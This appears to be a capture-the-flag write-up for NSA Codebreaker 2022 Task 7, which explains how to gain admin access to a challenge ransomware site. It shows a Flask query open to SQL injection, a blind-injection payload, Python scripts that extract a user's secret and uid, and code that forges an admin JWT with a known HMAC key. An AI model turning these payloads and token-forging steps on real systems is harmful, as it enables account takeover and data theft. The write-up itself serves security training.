Post

NSA Codebreaker 2022 Task 7

Description:

With access to the site, you can access most of the functionality. But there’s still that admin area that’s locked off.

Generate a new token value which will allow you to access the ransomware site as an administrator.

Solution:

After gaining access to the administrator pages and exploring the source code for them, a SQL injection vulnerability is revealed on the /userinfo page. The output of the SQL query is all cast to integers before being displayed on the page, meaning only integers such as the uid can be leaked directly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def userinfo():
	""" Create a page that displays information about a user """			
	query = request.values.get('user')
	if query == None:
		query =  util.get_username()	
	userName = memberSince = clientsHelped = hackersHelped = contributed = ''
	with util.userdb() as con:	
		infoquery= "SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed FROM Accounts a INNER JOIN UserInfo u ON a.uid = u.uid WHERE a.userName='%s'" %query
		row = con.execute(infoquery).fetchone()	
		if row != None:
			userName = query
			memberSince = int(row[0])
			clientsHelped = int(row[1])
			hackersHelped = int(row[2])
			contributed = int(row[3])
	if memberSince != '':
		memberSince = datetime.utcfromtimestamp(int(memberSince)).strftime('%Y-%m-%d')
	resp = make_response(render_template('userinfo.html', 
		userName=userName,
		memberSince=memberSince, 
		clientsHelped=clientsHelped,
		hackersHelped=hackersHelped, 
		contributed=contributed,
		pathkey=expected_pathkey()))
	return resp

This is the only query in the entire website that does not use prepared statements. The injection can be triggered with '<payload>;-- -. The payload below is a boolean-based blind SQL injection used to brute force the hex-encoded version of the secret.

HealthyRespect' and (SELECT substr(hex(secret),1,1) FROM Accounts WHERE userName='HealthyRespect') = '4';-- -

I scripted this attack with python to automatically extract the secret.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import jwt
import sys
import requests
from datetime import datetime, timedelta

dictionary = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','fail']
secret = []

def gen_token():
    hmac = "hionYjaULMZE4sZnrWj4nzkEjmDUAdsb"
    now = datetime.now()
    exp = now + timedelta(days=30)

    claims = {
        'iat': int(now.timestamp()),
        'exp': int(exp.timestamp()),
        'uid': 26567,
        'sec': 'WReAsZnC8atEELdAPpcIs0yHCLzqPi1a'
    }

    return jwt.encode(claims, hmac, algorithm='HS256')

print('Found: ', end='')
sys.stdout.flush()
for i in range(1,65):
    for char in dictionary:

        if char == 'fail':
            print('Failed')
            exit()

        injection = f"HealthyRespect' and (SELECT substr(hex(secret),{i},1) FROM Accounts WHERE userName='HealthyRespect') = '{char}';-- -"

        cookie = {'tok':gen_token()}
        data = {'user':injection}

        r = requests.post('https://jbjlxkyofmpcxooy.ransommethis.net/qschfbjhzihmssyy/userinfo', cookies=cookie, data=data)

        if "User Info ()" not in r.text:
            print(f"{char}", end='')
            sys.stdout.flush()
            secret.append(char)
            break

print(f"\nSecret: {bytes.fromhex(''.join(secret)).decode('utf-8')}")
1
2
3
$ python get_secret.py
Found: 4B37637266474336593336704E7132754C6C6D6B524836467037475059316847
Secret: K7crfGC6Y36pNq2uLlmkRH6Fp7GPY1hG

I also used the same method of boolean-based blind SQL injection to brute force the uid. However, since this is an integer value, it can also be leaked directly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import jwt
import sys
import requests
from datetime import datetime,timedelta

dictionary = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','fail']
secret = []

def gen_token():
    hmac = "hionYjaULMZE4sZnrWj4nzkEjmDUAdsb"
    now = datetime.now()
    exp = now + timedelta(days=30)

    claims = {
        'iat': int(now.timestamp()),
        'exp': int(exp.timestamp()),
        'uid': 26567,
        'sec': 'WReAsZnC8atEELdAPpcIs0yHCLzqPi1a'
    }

    return jwt.encode(claims, hmac, algorithm='HS256')

print('Found: ', end='')
sys.stdout.flush()
for i in range(1,11):
    for char in dictionary:

        if char == 'fail':
            print('Failed')
            exit()

        injection = f"HealthyRespect' and (SELECT substr(hex(uid),{i},1) FROM Accounts WHERE userName='HealthyRespect') = '{char}';-- -"

        cookie = {'tok':gen_token()}
        data = {'user':injection}

        r = requests.post('https://jbjlxkyofmpcxooy.ransommethis.net/qschfbjhzihmssyy/userinfo', cookies=cookie, data=data)

        if "User Info ()" not in r.text:
            print(f"{char}", end='')
            sys.stdout.flush()
            secret.append(char)
            break

print(f"\nUID: {bytes.fromhex(''.join(secret)).decode('utf-8')}")
1
2
3
$ python get_uid.py
Found: 333437939
UID: 34799

Using the information gathered from the previous injections, I was able to forge an admin token allowing access to the admin panel.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import jwt
from datetime import datetime, timedelta
import requests

hmac = 'hionYjaULMZE4sZnrWj4nzkEjmDUAdsb'
now = datetime.now()
exp = now + timedelta(days=30)

claims = {
    'iat':int(now.timestamp()),
    'exp':int(exp.timestamp()),
    'uid':'34799',
    'sec':'K7crfGC6Y36pNq2uLlmkRH6Fp7GPY1hG'
}

tok = jwt.encode(claims, hmac, algorithm='HS256')
print(tok)

Admin home page after login

This post is licensed under CC BY 4.0 by the author.